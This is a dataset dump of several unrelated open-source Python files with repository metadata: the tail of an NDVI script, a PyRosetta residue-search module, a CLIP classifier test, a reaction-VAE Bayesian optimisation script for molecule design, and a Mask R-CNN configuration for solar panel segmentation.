os.path.join(\"ndvi-automation\",\n                           \"outputs\")\n\nif not os.path.isdir(output_path):\n    os.mkdir(output_path)\n\n# Change working directory to output path\nos.chdir(output_path)\n\n# Export to .csv, include nan values as NaN instead of default\nall_data_indexed.to_csv('mean-ndvi.csv', na_rep='NaN')\n\n", "meta": {"hexsha": "a90e50a05cc387cdf47a8cd0120a69076388eb4f", "size": 29861, "ext": "py", "lang": "Python", "max_stars_repo_path": "gottlieb-eric-ea-2022-04-ndvi-automation.py", "max_stars_repo_name": "esgeo/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "da01b01a9da4c9d5f640561e4902c283542f2906", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "gottlieb-eric-ea-2022-04-ndvi-automation.py", "max_issues_repo_name": "esgeo/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "da01b01a9da4c9d5f640561e4902c283542f2906", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gottlieb-eric-ea-2022-04-ndvi-automation.py", "max_forks_repo_name": "esgeo/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "da01b01a9da4c9d5f640561e4902c283542f2906", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.5169606513, "max_line_length": 537, "alphanum_fraction": 0.715414755, "include": true, "reason": "import numpy", "num_tokens": 7204, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.341582499438317, "lm_q2_score": 0.29098086006635987, "lm_q1q2_score": 0.09939396947017837}}
{"text": "import logging\nimport numpy as np\nimport pyrosetta\n\nfrom . import chemical\nfrom . import geometry\nfrom . import table\nfrom . import util\n\nfrom rif.geom import Ray\nfrom rif.geom.ray_hash import RayToRay4dHash\nfrom rif.hash import XformHash_bt24_BCC6_X3f\n\nfrom pyrosetta.rosetta.core.conformation import ResidueFactory\n\nlogging.basicConfig(level=logging.WARN)\n_logging_handler = \"interactive\"\n\n# WARN(onalant): Constants recommended by Will Sheffler; do not change unless /absolutely/ sure\nLEVER = 10\nBOUND = 1000\nMODE = \"fa_standard\"\n\ndef _init_pyrosetta():\n    \"\"\"Load PyRosetta with the necessary parameter files\"\"\"\n\n    from os import path\n\n    _dir = path.join(path.dirname(__file__), \"data\", \"functional_groups\")\n\n    param_files = [path.join(_dir, x.resName + \".params\") for x in chemical.functional_groups.values()]\n    opts = [\n        \"-corrections:beta_nov16\",\n        \"-ignore_waters false\",\n        \"-mute core\",\n        \"-extra_res_fa %s\" % (\" \".join(param_files)),\n        # \"-constant_seed\",\n        \"-output_virtual\"\n    ]\n\n    pyrosetta.init(extra_options=\" \".join(opts), set_logging_handler=_logging_handler)\n\nclass PrivilegedResidues:\n\n    def __init__(self, path = \"/home/onalant/dump/2018-05-07_datatables/database.h5\"):\n        \"\"\"\n        Parameters\n        ----------\n        path : str, optional\n            Path to an HDF5 database. Defaults to a pre-generated\n            database.\n        \"\"\"\n\n        self._data = table.GenericTable(path)\n\n        cart_resl = self._data._table.attrs[\"cart_resl\"]\n        ori_resl = self._data._table.attrs[\"ori_resl\"]\n        cart_bound = self._data._table.attrs[\"cart_bound\"]\n\n        self._lattice = XformHash_bt24_BCC6_X3f(cart_resl, ori_resl, cart_bound)\n        self._raygrid = RayToRay4dHash(ori_resl, LEVER, bound=BOUND)\n\n    # bidentate: \"sc_sc\", \"sc_scbb\", \"sc_bb\"\n    # network: \"acceptor_acceptor\", \"acceptor_donor\", \"donor_acceptor\", \"donor_donor\"\n    def match(self, ray1, ray2, group):\n        \"\"\"Construct all of the matched structures for a given ray pair\n        and group.\n\n        Notes\n        -----\n        The following are the available search groups.\n\n        Bidentates:\n            - \"sc_sc\"\n            - \"sc_scbb\"\n            - \"sc_bb\"\n        Networks:\n            - \"acceptor_acceptor\"\n            - \"acceptor_donor\"\n            - \"donor_acceptor\"\n            - \"donor_donor\"\n\n        Parameters\n        ----------\n        ray1 : np.ndarray\n        ray2 : np.ndarray\n            Rays used to search in the underlying database.\n        group : str\n            Dataset to search in.\n\n        Yields\n        ------\n        pyrosetta.Pose\n            Functional group as placed by transform from table.\n        \"\"\"\n\n        dummy_pose = pyrosetta.pose_from_sequence(\"A\", \"fa_standard\")\n        res_type_set = dummy_pose.conformation().residue_type_set_for_conf()\n\n        hashed_rays = np.asscalar(self._raygrid.get_keys(*(util.numpy_to_rif(r) for r in [ray1, ray2])).squeeze())\n\n        results = self._data[hashed_rays, group]\n        try:\n            ray_frame = geometry.rays_to_transform(ray1, ray2)\n        except:\n            return []\n\n        for pos_info in results:\n            try:\n                stored_frame = self._lattice.get_center([pos_info[\"transform\"]])[\"raw\"].squeeze()\n            except:\n                continue\n\n            resname = pos_info[\"residue\"].decode(\"utf-8\")\n            pos_grp = chemical.functional_groups[resname]\n\n            dummy_pose.replace_residue(1, ResidueFactory.create_residue(res_type_set.name_map(resname)), False)\n\n            coords = [np.array([*dummy_pose.residues[1].xyz(atom)]) for atom in pos_grp.atoms]\n            c = np.stack(coords)\n\n            try:\n                pos_frame = geometry.coords_to_transform(c)\n            except:\n                continue\n            final = np.dot(np.dot(ray_frame, stored_frame), np.linalg.inv(pos_frame))\n            dummy_pose.apply_transform(final)\n            yield (hashed_rays, dummy_pose.clone())\n\n    # NOTE(onalant): bring your own residue selector\n    def search(self, pose, groups, selector):\n        \"\"\"Search for privileged interactions in a pose.\n\n        Parameters\n        ----------\n        pose : pyrosetta.Pose\n            Target structure.\n        groups : list of str\n            Datasets or groups to search for matches in.\n        selector : pyrosetta.rosetta.core.select.residue_selector.ResidueSelector\n            Residue selector to apply to the pose.\n\n        Yields\n        ------\n        tuple of np.uint64 and pyrosetta.Pose\n            Target ray pair hash and output pose.\n        \"\"\"\n\n        pairs_of_rays = { }\n\n        if np.any([x in groups for x in [\"sc_sc\", \"bidentate\"]]):\n            pairs_of_rays[\"sc_sc\"] = chemical.sc_sc_rays(pose, selector)\n        if np.any([x in groups for x in [\"sc_scbb\", \"bidentate\"]]):\n            pairs_of_rays[\"sc_scbb\"] = chemical.sc_scbb_rays(pose, selector)\n        if np.any([x in groups for x in [\"sc_bb\", \"bidentate\"]]):\n            pairs_of_rays[\"sc_bb\"] = chemical.sc_bb_rays(pose, selector)\n\n        if np.any([x in groups for x in [\"acceptor_acceptor\", \"network\"]]):\n            pairs_of_rays[\"acceptor_acceptor\"] = chemical.acceptor_acceptor_rays(pose, selector)\n        if np.any([x in groups for x in [\"acceptor_donor\", \"network\"]]):\n            pairs_of_rays[\"acceptor_donor\"] = chemical.donor_acceptor_rays(pose, selector)\n        if np.any([x in groups for x in [\"donor_acceptor\", \"network\"]]):\n            pairs_of_rays[\"donor_acceptor\"] = chemical.donor_acceptor_rays(pose, selector)\n        if np.any([x in groups for x in [\"donor_donor\", \"network\"]]):\n            pairs_of_rays[\"donor_donor\"] = chemical.donor_donor_rays(pose, selector)\n\n        for group in pairs_of_rays:\n            for (r1, r2) in pairs_of_rays[group]:\n                yield from self.match(r1, r2, group)\n\n_init_pyrosetta()\n\n", "meta": {"hexsha": "d0ce100fcf1894dd9c01e670795c4b5b65af6ea1", "size": 5875, "ext": "py", "lang": "Python", "max_stars_repo_path": "privileged_residues/privileged_residues.py", "max_stars_repo_name": "RosettaCommons/privileged_residues", "max_stars_repo_head_hexsha": "0e5398a28a034adf66e8f6586906c04c63489616", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-07-16T19:30:44.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-16T19:30:44.000Z", "max_issues_repo_path": "privileged_residues/privileged_residues.py", "max_issues_repo_name": "RosettaCommons/privileged_residues", "max_issues_repo_head_hexsha": "0e5398a28a034adf66e8f6586906c04c63489616", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 407, "max_issues_repo_issues_event_min_datetime": "2018-04-07T23:28:33.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T07:06:18.000Z", "max_forks_repo_path": "privileged_residues/privileged_residues.py", "max_forks_repo_name": "RosettaCommons/privileged_residues", "max_forks_repo_head_hexsha": "0e5398a28a034adf66e8f6586906c04c63489616", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2018-02-18T20:47:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-23T06:49:59.000Z", "avg_line_length": 33.9595375723, "max_line_length": 114, "alphanum_fraction": 0.6183829787, "include": true, "reason": "import numpy", "num_tokens": 1455, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5660185205547239, "lm_q2_score": 0.17553808224967946, "lm_q1q2_score": 0.09935780561597701}}
{"text": "import os\n\nimport clip\nimport numpy as np\nfrom PIL import Image\n\nfrom .. import CLIPZeroShotClassifier\n\ncur_dir = os.path.dirname(os.path.abspath(__file__))\n\ndef test_clipzeroshotclassifier():\n    dog_image = os.path.join(cur_dir, 'imgs/dog.jpg')\n    labels = ['cat','dog','human']\n    executor = CLIPZeroShotClassifier(labels)\n    _, preprocess = clip.load('ViT-B/32')\n    im = Image.open(dog_image)\n    im_tensor_clip_input = preprocess(im).unsqueeze(0)\n    im_tensor_clip_np = im_tensor_clip_input.detach().numpy()\n    batch = np.vstack([im_tensor_clip_input, im_tensor_clip_input])\n    output = executor.predict(batch)\n    assert output.shape == (len(batch), len(labels))\n    for res in output:\n        assert len(res) == len(labels)\n        assert res[labels.index('dog')] == 1\n    ", "meta": {"hexsha": "3868d7998f16f1bf9b066df43b96d27ba28af28c", "size": 787, "ext": "py", "lang": "Python", "max_stars_repo_path": "classifiers/image/CLIPZeroShotClassifier/tests/test_clipzeroshotclassifier.py", "max_stars_repo_name": "strawberrypie/jina-hub", "max_stars_repo_head_hexsha": "8b2356d58687694d817881c840745214f12e94c4", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 106, "max_stars_repo_stars_event_min_datetime": "2020-04-28T10:24:08.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-15T02:30:27.000Z", "max_issues_repo_path": "classifiers/image/CLIPZeroShotClassifier/tests/test_clipzeroshotclassifier.py", "max_issues_repo_name": "strawberrypie/jina-hub", "max_issues_repo_head_hexsha": "8b2356d58687694d817881c840745214f12e94c4", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 6808, "max_issues_repo_issues_event_min_datetime": "2020-05-01T04:13:43.000Z", "max_issues_repo_issues_event_max_datetime": "2021-06-23T08:04:02.000Z", "max_forks_repo_path": "classifiers/image/CLIPZeroShotClassifier/tests/test_clipzeroshotclassifier.py", "max_forks_repo_name": "strawberrypie/jina-hub", "max_forks_repo_head_hexsha": "8b2356d58687694d817881c840745214f12e94c4", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 86, "max_forks_repo_forks_event_min_datetime": "2020-04-29T09:50:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-25T05:42:44.000Z", "avg_line_length": 31.48, "max_line_length": 67, "alphanum_fraction": 0.6988564168, "include": true, "reason": "import numpy", "num_tokens": 194, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.1968261942204597, "lm_q1q2_score": 0.09918193378944487}}
{"text": "import sys\nsys.path.append('../rxnft_vae')\nimport rdkit\nimport rdkit.Chem as Chem\nfrom rdkit.Chem import QED, Descriptors, rdmolops\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.optim.lr_scheduler as lr_scheduler\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\n\nimport math, random, sys\nfrom optparse import OptionParser\nfrom collections import deque\n\nfrom reaction_utils import get_mol_from_smiles, get_smiles_from_mol,read_multistep_rxns, get_template_order, get_qed_score,get_clogp_score\nfrom reaction import ReactionTree, extract_starting_reactants, StartingReactants, Templates, extract_templates,stats\nfrom fragment import FragmentVocab, FragmentTree, FragmentNode, can_be_decomposed\nfrom vae import FTRXNVAE, set_batch_nodeID\nfrom mpn import MPN,PP,Discriminator\nfrom evaluate import Evaluator\nimport random\nimport numpy as np\nimport networkx as nx\n\nfrom sparse_gp import SparseGP\nimport scipy.stats as sps\nimport sascorer\n\n\ndef decode_many_times(model, latent):\n\tprob_decode = True\n\tlatent_size = model.latent_size\n\tft_mean = latent[:, :latent_size]\n\trxn_mean = latent[:, latent_size:]\n\tproduct_list=[]\n\tfor i in range(50):\n\t\tgenerated_tree = model.fragment_decoder.decode(ft_mean, prob_decode)\n\t\tg_encoder_output, g_root_vec = model.fragment_encoder([generated_tree])\n\t\tproduct, reactions = model.rxn_decoder.decode(rxn_mean, g_encoder_output, prob_decode)\n\t\tif product != None:\n\t\t\tproduct_list.append([product, reactions])\n\tif len(product_list) == 0:\n\t\treturn None\n\telse:\n\t\treturn product_list\n\ndef run_bo(X_train, y_train, X_test, y_test, model, parameters, metric, randseed):\n\trandom_seed = int(randseed)\n\tnp.random.seed(random_seed)\n\tif metric ==\"logp\":\n\t\tlogp_m = parameters[0]\n\t\tlogp_s = parameters[1]\n\t\tsascore_m = parameters[2]\n\t\tsascore_s = parameters[3]\n\t\tcycle_m = parameters[4]\n\t\tcycle_s = parameters[5]\n\n\tfilename = \"../Results/\" + metric + str(random_seed) + \".txt\"\n\n\t#print(\"maxmimum score :\", np.min(y_train), X_train.shape)\n\t#print(y_train)\n\twith open(filename, \"w\") as writer:\n\t\titeration = 0\n\t\tlatents = []\n\t\tmin_scores = []\n\t\twhile iteration < 5:\n\t\t\t# fit the GP\n\t\t\t#print(\"maxmimum score :\", np.min(y_train), X_train.shape)\n\t\t\tprint(iteration)\n\t\t\tnp.random.seed(iteration * random_seed)\n\t\t\tM = 500\n\t\t\tsgp = SparseGP(X_train, 0 * X_train, y_train, M)\n\t\t\tsgp.train_via_ADAM(X_train, 0 * X_train, y_train, X_test, X_test * 0, y_test, minibatch_size = 10 * M, max_iterations = 100, learning_rate = 0.001)\n\n\t\t\tpred, uncert = sgp.predict(X_test, 0 * X_test)\n\t\t\terror = np.sqrt(np.mean((pred - y_test)**2))\n\t\t\ttestll = np.mean(sps.norm.logpdf(pred - y_test, scale = np.sqrt(uncert)))\n\t\t\tprint('Test RMSE: ', error, ' Test ll: ', testll)\n\n\t\t\tpred, uncert = sgp.predict(X_train, 0 * X_train)\n\t\t\terror = np.sqrt(np.mean((pred - y_train)**2))\n\t\t\ttrainll = np.mean(sps.norm.logpdf(pred - y_train, scale = np.sqrt(uncert)))\n\t\t\tprint( 'Train RMSE: ', error, 'Train ll: ', trainll)\n\t\t\t#print( 'Train ll: ', trainll)\n\n\t\t\tnext_inputs, values = sgp.batched_greedy_ei(60, np.min(X_train, 0), np.max(X_train, 0))\n\t\t\tvalid_smiles =[]\n\t\t\tnew_features =[]\n\t\t\tfull_rxn_strs=[]\n\t\t\tvalues = values.flatten()\n\t\t\tfor i in range(60):\n\t\t\t\t#print(i)\n\t\t\t\tlatent = next_inputs[i].reshape((1,-1))\n\t\t\t\t#res = model.decode_many_times(torch.from_numpy(latent).float(), 50)\n\t\t\t\tres= decode_many_times(model, torch.from_numpy(latent).float())\n\t\t\t\tif res is not None:\n\t\t\t\t\tsmiles_list = [re[0] for re in res]\n\t\t\t\t\tn_reactions = [len(re[1].split(\" \")) for re in res]\n\t\t\t\t\t#print(n_reactions)\n\t\t\t\t\tfor re in res:\n\t\t\t\t\t\tsmiles = re[0]\n\t\t\t\t\t\tif len(re[1].split(\" \")) > 0 and smiles not in valid_smiles:\n\t\t\t\t\t\t\t#print(smiles, re[1].split(\" \"))\n\t\t\t\t\t\t\tvalid_smiles.append(smiles)\n\t\t\t\t\t\t\tnew_features.append(latent)\n\t\t\t\t\t\t\tfull_rxn_strs.append(re[1])\n\t\t\t\t#print(i, res)\n\t\t\t\t\t\n\t\t\t#new_features = np.vstack(new_features)\n\t\t\tscores =[]\n\t\t\tb_valid_smiles=[]\n\t\t\tb_full_rxn_strs=[]\n\t\t\tb_scores=[]\n\t\t\tb_new_features=[]\n\t\t\tfor i in range(len(valid_smiles)):\n\t\t\t\tif metric ==\"logp\":\n\t\t\t\t\tmol = rdkit.Chem.MolFromSmiles(valid_smiles[i])\n\t\t\t\t\tif mol is None:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tcurrent_log_P_value = Descriptors.MolLogP(mol)\n\t\t\t\t\tcurrent_SA_score = -sascorer.calculateScore(mol)\n\t\t\t\t\tcycle_list = nx.cycle_basis(nx.Graph(rdmolops.GetAdjacencyMatrix(mol)))\n\t\t\t\t\tif len(cycle_list) == 0:\n\t\t\t\t\t\tcycle_length = 0\n\t\t\t\t\telse:\n\t\t\t\t\t\tcycle_length = max([ len(j) for j in cycle_list ])\n\t\t\t\t\tif cycle_length <= 6:\n\t\t\t\t\t\tcycle_length = 0\n\t\t\t\t\telse:\n\t\t\t\t\t\tcycle_length = cycle_length - 6\n\t\t\t\t\tcurrent_cycle_score = -cycle_length\n\t\t\t\t\tcurrent_SA_score_normalized = (current_SA_score - sascore_m) / sascore_s\n\t\t\t\t\tcurrent_log_P_value_normalized = (current_log_P_value - logp_m) / logp_s\n\t\t\t\t\tcurrent_cycle_score_normalized = (current_cycle_score - cycle_m) / cycle_s\n\t\t\t\t\tscore = current_SA_score_normalized + current_log_P_value_normalized + current_cycle_score_normalized\n\t\t\t\t\tscores.append(-score)\n\t\t\t\t\tb_valid_smiles.append(valid_smiles[i])\n\t\t\t\t\tb_full_rxn_strs.append(full_rxn_strs[i])\n\t\t\t\t\tb_new_features.append(new_features[i])\n\t\t\t\tif metric==\"qed\":\n\t\t\t\t\tmol = rdkit.Chem.MolFromSmiles(valid_smiles[i])\n\t\t\t\t\tif mol!=None:\n\t\t\t\t\t\tscore = QED.qed(mol)\n\t\t\t\t\t\tscores.append(-score)\n\t\t\t\t\t\tb_valid_smiles.append(valid_smiles[i])\n\t\t\t\t\t\tb_full_rxn_strs.append(full_rxn_strs[i])\n\t\t\t\t\t\tb_new_features.append(new_features[i])\n\t\t\tnew_features = np.vstack(b_new_features)\n\t\t\tif len(new_features) > 0:\n\t\t\t\tX_train = np.concatenate([ X_train, new_features ], 0)\n\t\t\t\ty_train = np.concatenate([ y_train, np.array(scores)[ :, None ] ], 0)\n\t\t\titeration+=1\n\n\t\t\tfor i in range(len(b_valid_smiles)):\n\t\t\t\tline = \" \".join([b_valid_smiles[i], b_full_rxn_strs[i], str(scores[i])])\n\t\t\t\twriter.write(line + \"\\n\")\n\t\t\t#print(iteration, min(scores))\n\n\n\n\nparser = OptionParser()\nparser.add_option(\"-w\", \"--hidden\", dest=\"hidden_size\", default=200)\nparser.add_option(\"-l\", \"--latent\", dest=\"latent_size\", default=50)\nparser.add_option(\"-d\", \"--depth\", dest=\"depth\", default=2)\nparser.add_option(\"-s\", \"--save_dir\", dest=\"save_path\")\nparser.add_option(\"-t\", \"--data_path\", dest=\"data_path\")\nparser.add_option(\"-v\", \"--vocab_path\", dest=\"vocab_path\")\nparser.add_option(\"-m\", \"--metric\", dest=\"metric\")\nparser.add_option(\"-r\", \"--seed\", dest=\"seed\", default=1)\nopts, _ = parser.parse_args()\n\n# get parameters\nhidden_size = int(opts.hidden_size)\nlatent_size = int(opts.latent_size)\ndepth = int(opts.depth)\nvocab_path = opts.vocab_path\ndata_filename = opts.data_path\nw_save_path = opts.save_path\nmetric = opts.metric\nseed = int(opts.seed)\n\n\n# load model\nif torch.cuda.is_available():\n\t#device = torch.device(\"cuda:1\")\n\tdevice = torch.device(\"cuda\")\n\ttorch.cuda.set_device(1)\nelse:\n\tdevice = torch.device(\"cpu\")\n\n\nprint(\"hidden size:\", hidden_size, \"latent_size:\", latent_size, \"depth:\", depth)\nprint(\"loading data.....\")\ndata_filename = opts.data_path\nroutes, scores = read_multistep_rxns(data_filename)\nrxn_trees = [ReactionTree(route) for route in routes]\nmolecules = [rxn_tree.molecule_nodes[0].smiles for rxn_tree in rxn_trees]\nreactants = extract_starting_reactants(rxn_trees)\ntemplates, n_reacts = extract_templates(rxn_trees)\nreactantDic = StartingReactants(reactants)\ntemplateDic = Templates(templates, n_reacts)\n\nprint(\"size of reactant dic:\", reactantDic.size())\nprint(\"size of template dic:\", templateDic.size())\n\n\nn_pairs = len(routes)\nind_list = [i for i in range(n_pairs)]\nfgm_trees = [FragmentTree(rxn_trees[i].molecule_nodes[0].smiles) for i in ind_list]\nrxn_trees = [rxn_trees[i] for i in ind_list]\ndata_pairs=[]\nfor fgm_tree, rxn_tree in zip(fgm_trees, rxn_trees):\n\tdata_pairs.append((fgm_tree, rxn_tree))\ncset=set()\nfor fgm_tree in fgm_trees:\n\tfor node in fgm_tree.nodes:\n\t\tcset.add(node.smiles)\ncset = list(cset)\nif vocab_path is None:\n\tfragmentDic = FragmentVocab(cset)\nelse:\n\tfragmentDic = FragmentVocab(cset, filename =vocab_path)\n\nprint(\"size of fragment dic:\", fragmentDic.size())\n\n\n\n# loading model\n\nmpn = MPN(hidden_size, depth)\nmodel = FTRXNVAE(fragmentDic, reactantDic, templateDic, hidden_size, latent_size, depth, fragment_embedding=None, reactant_embedding=None, template_embedding=None)\ncheckpoint = torch.load(w_save_path, map_location=device)\nmodel.load_state_dict(checkpoint)\nprint(\"finished loading model...\")\n\nprint(\"number of samples:\", len(data_pairs))\nlatent_list=[]\nscore_list=[]\nprint(\"num of samples:\", len(rxn_trees))\nlatent_list =[]\nscore_list=[]\nif metric ==\"qed\":\n\tfor i, data_pair in enumerate(data_pairs):\n\t\tlatent = model.encode([data_pair])\n\t\t#print(i, latent.size(), latent)\n\t\tlatent_list.append(latent[0])\n\t\trxn_tree = data_pair[1]\n\t\tsmiles = rxn_tree.molecule_nodes[0].smiles\n\t\tscore_list.append(get_qed_score(smiles))\nif metric ==\"logp\":\n\tlogP_values = np.loadtxt('logP_values.txt')\n\tSA_scores = np.loadtxt('SA_scores.txt')\n\tcycle_scores = np.loadtxt('cycle_scores.txt')\n\n\tlogp_m = np.mean(logP_values)\n\tlogp_s = np.std(logP_values)\n\n\tsascore_m = np.mean(SA_scores)\n\tsascore_s = np.std(SA_scores)\n\n\tcycle_m = np.mean(cycle_scores)\n\tcycle_s = np.std(cycle_scores)\n\tfor i, data_pair in enumerate(data_pairs):\n\t\tlatent = model.encode([data_pair])\n\t\tlatent_list.append(latent[0])\n\t\trxn_tree = data_pair[1]\n\t\tsmiles = rxn_tree.molecule_nodes[0].smiles\n\t\tscore_list.append(get_clogp_score(smiles, logp_m, logp_s, sascore_m, sascore_s, cycle_m, cycle_s))\nlatents = torch.stack(latent_list, dim=0)\nscores = np.array(score_list)\nscores = scores.reshape((-1,1))\nlatents = latents.detach().numpy()\nn = latents.shape[0]\npermutation = np.random.choice(n, n, replace = False)\nX_train = latents[ permutation, : ][ 0 : np.int(np.round(0.9 * n)), : ]\nX_test = latents[ permutation, : ][ np.int(np.round(0.9 * n)) :, : ]\ny_train = -scores[ permutation ][ 0 : np.int(np.round(0.9 * n)) ]\ny_test = -scores[ permutation ][ np.int(np.round(0.9 * n)) : ]\nprint(X_train.shape, X_test.shape)\nif metric == \"logp\":\n\tparameters = [logp_m, logp_s, sascore_m, sascore_s, cycle_m, cycle_s]\nelse: \n\tparameters =[]\n\n\nrun_bo(X_train, y_train, X_test, y_test, model, parameters, metric, seed)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "1b9bf5f8e5a280fc98f029a2b09ebec9dfc3bf86", "size": 10018, "ext": "py", "lang": "Python", "max_stars_repo_path": "bo/run_bo.py", "max_stars_repo_name": "tsudalab/rxngenerator", "max_stars_repo_head_hexsha": "6f459828c03485926adb390e5bfbd4a6d91de30b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2022-01-04T09:36:32.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-03T22:35:53.000Z", "max_issues_repo_path": "bo/run_bo.py", "max_issues_repo_name": "tsudalab/rxngenerator", "max_issues_repo_head_hexsha": "6f459828c03485926adb390e5bfbd4a6d91de30b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bo/run_bo.py", "max_forks_repo_name": "tsudalab/rxngenerator", "max_forks_repo_head_hexsha": "6f459828c03485926adb390e5bfbd4a6d91de30b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-17T19:17:44.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-17T19:17:44.000Z", "avg_line_length": 32.4207119741, "max_line_length": 163, "alphanum_fraction": 0.7180075863, "include": true, "reason": "import numpy,import scipy,import networkx", "num_tokens": 2825, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5428632683808533, "lm_q2_score": 0.18242551713899047, "lm_q1q2_score": 0.09903211247013974}}
{"text": "import numpy as np\n\ntry:\n    from extractor.segmentation.Mask_RCNN.mrcnn.config import Config\nexcept ModuleNotFoundError:\n    from Mask_RCNN.mrcnn.config import Config\n\n\nclass PVConfig(Config):\n    # Give the configuration a recognizable name\n    NAME = \"pv_modules\"\n\n    # Path to PV module dataset\n    DATASET_TRAIN_PATH = \"/pv_segmentation_dataset/train\"\n    DATASET_VAL_PATH = \"/pv_segmentation_dataset/val\"\n\n    # Path for saving model weights and checkpoints during training\n    MODEL_DIR = \"/pvextractor/extractor/segmentation/Mask_RCNN/logs\"\n\n    # Path to MS COCO pretrained weights\n    COCO_MODEL_PATH = \"/pvextractor/extractor/segmentation/Mask_RCNN/mask_rcnn_coco.h5\"\n\n    # Train on 1 GPU and 8 images per GPU. We can put multiple images on each\n    # GPU because the images are small. Batch size is 8 (GPUs * images/GPU).\n    GPU_COUNT = 1\n    IMAGES_PER_GPU = 2\n\n    # Number of classes (including background)\n    NUM_CLASSES = 1 + 1  # background + pv\n\n    # Use small images for faster training. Set the limits of the small side\n    # the large side, and that determines the image shape.\n    IMAGE_MIN_DIM = 512\n    IMAGE_MAX_DIM = 640\n\n    # Image mean (RGB)\n    MEAN_PIXEL = np.array([129.4, 129.4, 129.4])  # computed from training set\n\n    # Maximum number of ground truth instances to use in one image\n    # TODO: set this to the maximum value in train/test set\n    MAX_GT_INSTANCES = 200\n\n    # Max number of final detections\n    DETECTION_MAX_INSTANCES = 200\n\n    # Learning rate and momentum\n    # The Mask RCNN paper uses lr=0.02, but on TensorFlow it causes\n    # weights to explode. Likely due to differences in optimizer\n    # implementation.\n    LEARNING_RATE = 0.001\n    LEARNING_MOMENTUM = 0.9\n\n    # Weight decay regularization\n    WEIGHT_DECAY = 0.0001\n\n    # Train or freeze batch normalization layers\n    #     None: Train BN layers. This is the normal mode\n    #     False: Freeze BN layers. Good when using a small batch size\n    #     True: (don't use). Set layer in training mode even when predicting\n    TRAIN_BN = False  # Defaulting to False since batch size is often small\n", "meta": {"hexsha": "6cb6eca5158574acc670011d1120a106827f2e69", "size": 2117, "ext": "py", "lang": "Python", "max_stars_repo_path": "extractor/segmentation/configs.py", "max_stars_repo_name": "LukasBommes/PV-Drone-Inspect", "max_stars_repo_head_hexsha": "af07a5e5690326837d1e9b26bdbb32f5582e89fd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2021-12-07T10:54:54.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-09T19:29:41.000Z", "max_issues_repo_path": "extractor/segmentation/configs.py", "max_issues_repo_name": "LukasBommes/PV-Drone-Inspect", "max_issues_repo_head_hexsha": "af07a5e5690326837d1e9b26bdbb32f5582e89fd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 13, "max_issues_repo_issues_event_min_datetime": "2022-01-24T16:40:32.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-10T01:17:58.000Z", "max_forks_repo_path": "extractor/segmentation/configs.py", "max_forks_repo_name": "LukasBommes/PV-Hawk", "max_forks_repo_head_hexsha": "af07a5e5690326837d1e9b26bdbb32f5582e89fd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-11-25T14:17:22.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-25T14:17:22.000Z", "avg_line_length": 34.7049180328, "max_line_length": 87, "alphanum_fraction": 0.7137458668, "include": true, "reason": "import numpy", "num_tokens": 550, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230156, "lm_q2_score": 0.19193279338050542, "lm_q1q2_score": 0.09896437074733917}}
